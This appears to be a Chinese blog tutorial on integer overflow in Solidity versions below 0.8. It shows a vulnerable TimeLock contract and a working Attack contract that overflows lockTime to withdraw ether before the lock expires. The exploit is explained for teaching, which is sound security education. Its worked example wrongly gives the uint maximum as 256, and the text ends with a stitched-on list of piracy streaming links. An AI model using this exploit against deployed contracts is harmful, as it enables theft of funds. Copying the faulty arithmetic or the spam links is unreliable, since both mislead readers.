算术溢出(arithmetic overflow)或简称为溢出(overflow) 分为两种:上溢和下溢。所谓上溢是指在运行单项数值计算时,当计算产生出来的结果非常大,大于寄存器或存储器所能存储或表示的能力限制就会产生上溢,例如在 solidity
中,uint8
所能表示的范围是 0 - 255
这 256
个数,当使用 uint8
类型在实际运算中计算 255 + 1
是会出现上溢的,这样计算出来的结果为 0
也就是 uint8
类型可表示的最小值。同样的,下溢就是当计算产生出来的结果非常小,小于寄存器或存储器所能存储或表示的能力限制就会产生下溢。例如在 Solidity
中,当使用 uint8
类型计算 0 - 1
时就会产生下溢,这样计算出来的值为 255
也就是 uint8
类型可表示的最大值。
如果一个合约有溢出漏洞的话会导致计算的实际结果和预期的结果产生非常大的差异,这样轻则会影响合约的正常逻辑,重则会导致合约中的资金丢失。但是溢出漏洞是存在版本限制的,在 Solidity < 0.8
时溢出不会报错,当 Solidity >= 0.8
时溢出会报错。所以当我们看到 0.8
版本以下的合约时,就要注意这个合约可能出现溢出问题。
漏洞代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
问题分析
这个合约类似重入(Re-Entrancy
)的合约,不过是已经修复过的(可以先看 重入攻击 Re-Entrancy 合约在看这个理解更快),在此基础上添加了一个 lockTime mapping
在deposit
方法中可以看到在转账后,在用户的lockTime
更新重置了一个星期的时间戳;这个合约还新增一个increaseLockTime
方法有个类型为uint
的传入值,在原先lockTime
的基础上累加了一个传入值;这里就可以看出问题,这个方法可以外部调用没有做权限隔离,累加时并没有进行校验是否溢出,并且这个合约是 pragma solidity ^0.7.6;
下面withdraw
没有太大变化,多了一个require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
判断如果lockTime
的时间戳大于当前区块链时间将无法交易,这就是个时间锁。
可以看出通过increaseLockTime
方法就可以绕过withdraw
方法中的block.timestamp > lockTime[msg.sender]
的判断,从而在时间未到时取出余额;
攻击代码
contract Attack {
TimeLock timeLock;
constructor(TimeLock _timeLock) {
timeLock = TimeLock(_timeLock);
}
fallback() external payable {}
function attack() public payable {
timeLock.deposit{value: msg.value}();
timeLock.increaseLockTime(
type(uint).max + 1 - timeLock.lockTime(address(this))
);
timeLock.withdraw();
}
}
基于以上分析写出攻击合约,攻击合约在部署时传入要攻击的TimeLock
合约地址,在attack方法中调用TimeLock
的deposit
方法,并向合约存入对应的value
余额(这个时候按照合约逻辑,存入余额的账户已经被时间锁上锁了,无法取出余额),下面调用timeLock
合约的 increaseLockTime
方法,传入值为 :
uint类型的最大值
+
1
-
用户当前的lockTime值
这里获取uint
最大值加上1
再减去用户lockTime
值的结果传入到increaseLockTime
方法进行累加操作得出的结果正好为0
。
例如:
lockTime = 30
uint最大值为 = 256
传入值 = uint最大值 +1 - lockTime
= 256 + 1 - 30
= 227
increaseLockTime 方法
lockTime += 传入值
转换为 lockTime = lockTime + 传入值
= 30 + 227
=257
257 触发溢出 变为 0
《鸥鸟落亡于海港》剧情片高清在线免费观看:https://www.jgz518.com/xingkong/92365.html
《V世代》欧美剧高清在线免费观看:https://www.jgz518.com/xingkong/25446.html
《大侦探第九季舞台直拍》大陆综艺高清在线免费观看:https://www.jgz518.com/xingkong/142756.html
《逆袭归来:我的废柴老婆第三季》国产动漫高清在线免费观看:https://www.jgz518.com/xingkong/21675.html
《V世代》欧美剧高清在线免费观看:https://www.jgz518.com/xingkong/25446.html
《女士及众生相》剧情片高清在线免费观看:https://www.jgz518.com/xingkong/70380.html
《黄飞鸿 黃飛鴻》喜剧片高清在线免费观看:https://www.jgz518.com/xingkong/151010.html
《爱上外星人第二季》欧美剧高清在线免费观看:https://www.jgz518.com/xingkong/166396.html
《2020元宵晚会》大陆综艺高清在线免费观看:https://www.jgz518.com/xingkong/147692.html
《解剖学教室》科幻片高清在线免费观看:https://www.jgz518.com/xingkong/48712.html